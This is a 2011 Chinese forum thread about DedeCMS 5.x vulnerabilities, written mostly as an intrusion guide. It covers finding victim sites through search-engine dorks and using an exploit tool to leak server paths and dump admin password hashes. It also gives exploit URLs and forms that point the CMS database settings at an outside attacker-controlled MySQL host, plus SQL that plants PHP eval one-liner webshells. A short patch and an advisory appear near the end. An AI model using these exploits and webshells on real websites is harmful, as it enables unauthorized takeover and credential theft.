服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 9024|回复: 3

dedecms最新漏洞利用

[复制链接]
dirtysea 发表于 2011-10-2 01:58:52 | 显示全部楼层 |阅读模式
DedeCms是目前网络上比较流行的一款PHP整站程序,中文名为“织梦内容管理系统”。最近,DedeCms出现了一个严重的漏洞,黑客通过漏洞可以 得到网站的物理路径,并且能够曝出管理员账户名和密码,最为恐怖的是可以直接向服务器写入Webshell,而不必通过登录网站后台。到底是什么漏洞这么 厉害,黑客是如何达到目的的,让我们来一探究竟吧。
     漏洞成因
     问题出在DedeCms的tag.php文件里,该文件会对变量$tag进行处理,但是由于程序员的疏忽,变量$tag在处理时并不严谨,这样就导致了漏洞的产生。黑客可以利用这个漏洞进行注入攻击,得到网站管理员的账户名和密码简直是小菜一碟,如果该网站的数据库权限为root,黑客还能够直接将Webshell写入到网站目录中,而不必登录网站后台,可谓一击必杀。

     寻找入侵目标
     入侵第一步当然是寻找目标了,在百度中以“Powered by DedeCms v_5_1_GBK”为关键字进行搜索,可以找到很多符合条件的网站,建议直接将搜索结果翻到20页以后,因为排名较前的网站一般已经被同行“捷足先登” 了。随便点击一个搜索结果打开网站,将其网站复制下来。
     运行“DedeCms漏洞利用工具”, 将网站的网址复制到“网站”选项处,点击下方的“暴目录”按钮,如果“暴目录”成功,在工具中央的浏览窗口中将会出现一个绿色的页面,页面中会标注有网站 的物理路径,本例中为“E:\wwwroot\gqmsg\web”。“暴目录”是利用了网站默认的安装文件/install/index.php来实现 的,这是因为网站管理员在安装完网站后忘记删除install文件夹导致的,只要这个文件夹在,任何人都能重新安装网站系统,瞬间就可以让整个网站灰飞烟 灭,由此可见网站管理员的安全意识相当淡薄。


图1.  得到网站物理路径
     写入Webshell
     如果网站的权限是root,我们可以直接向网站目录写入Webshell。点击工具下方的“导目录”按钮,在“网站目录”处会显示导入后的结果,然后点击 “写网马”按钮,工具会将木马写入到网站根目录,文件名为admincsj.php,提示写入成功后我们就可以用木马进行连接了。
     运行“lanker微型PHP后门客户端”,在木马地址中填入“http://www.***.com/admincsj.php”,在“基本功能列表”中选择相应的功能就可以执行了。
     曝出管理员账户名和密码
     如果网站权限不是root,不能直接写入Webshell该怎么办呢?我们可以曝出网站管理员的账户名和密码。点击工具的“暴密码”按钮,在中间的页面中将会出现管理员的账户名和密码,密码是经过MD5加密的,我们可以通过http://www.cmd5.com/网站进行破解,破解的成功率还是很高的。


图2.  曝出账户名和密码
     拿到管理员权限后,还有什么我们不能做的呢?


 楼主| dirtysea 发表于 2011-10-2 02:00:05 | 显示全部楼层
2011-8-11 近期官方会发布相关补丁,望大家及时关注补丁动态。
入侵EXP如下:

dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root



此漏洞的前提是必须知道后台或plus 目录存在,服务器能外连,就能拿shell
因此大家一定要养成使用DEDECM建站时改后台名字的习惯。





接下来:

前题条件,必须准备好自己的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
  
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究  
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"> <input type="text" value="http://www.laod.org/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /> <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /> <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /> <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /> <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /> <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /> <input type="text" value="true" name="nocache" style="width:400"> <input type="submit" value="提交" name="QuickSearchBtn"><br /> </form> <script> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script>
 楼主| dirtysea 发表于 2011-10-2 02:01:14 | 显示全部楼层
**文件

<form action="http://www.XXX.hk/plus/mytag_js.php?aid=2" method=post>
<input type=text name="_COOKIE[GLOBALS][cfg_dbhost]" value="数据库ip"><br>
<input type=text name="_COOKIE[GLOBALS][cfg_dbuser]" value="数据库用户名"><br>
<input type=text name="_COOKIE[GLOBALS][cfg_dbpwd]" value="数据库密码"><br>
<input type=text name="_COOKIE[GLOBALS][cfg_dbname]" value="数据库名字"><br>
<input type=text name="_COOKIE[GLOBALS][cfg_dbprefix]" value="表前缀_"><br>
<input type=text name="nocache" value="1"><br>
<input type="submit" name='fuck' value='fuck'>
</form>

然后在自己远程支持外链的mysql库中的表前缀_mytag 中插入insert into dede_mytag(aid,normbody) values(2,'{dede:php}$fp = @fopen(DEDEROOT."data/cache/whoami.php", ''a'');@fwrite($fp, ''<?php eval($_POST[whoami]) ?>'');echo "y";@fclose($fp);{/dede:php}{/dede:php}');然后用exp提交后会在data/cache/whoami.php 生成一句话 一句话密码whoami需要注意的地方就是当时挖出来的时候 测试了N久。。 最后才发现原来是浏览器的问题,用firefox打开exp提交就行了。



修复方法:这个漏洞主要的成因是dedecms没有判断外部提交的变量。暂时的修复方法找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) )
{
exit(‘Request var not allow!’);
}
}

换成

//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
{
exit(‘Request var not allow!’);
}
}
}
CheckRequest($_REQUEST);


 楼主| dirtysea 发表于 2011-10-2 02:05:49 | 显示全部楼层
发布日期:2011-08-11
更新日期:2011-08-20

受影响系统:
DedeCms V5.6-V5.7

漏洞描述:



DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。
     织梦(DedeCms) v5.6-5.7 在后台用户验证过程中存在安全问题,用户可跳过验证,直接登录到管理后台!
<*参考
http://sebug.net/vulndb/20859/
http://www.t00ls.net/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



  EXP
http://localhost/dedecms/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root把上面validate=dcug改为当前的验证码,即可直接**后台此漏洞的前提是必须得到后台路径才能实现.

建议:



官方临时解决办法:
找到include/common.inc.php文件,把:    foreach($_REQUEST as $_k=>$_v)
    {
        var_dump($_k);
        if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
        {
            exit('Request var not allow!');
        }
    }
换成:    //检查和注册外部提交的变量
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
    CheckRequest($_REQUEST);
//

厂商补丁:

DedeCMS
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/dedecms
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-19 01:49 , Processed in 0.218429 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表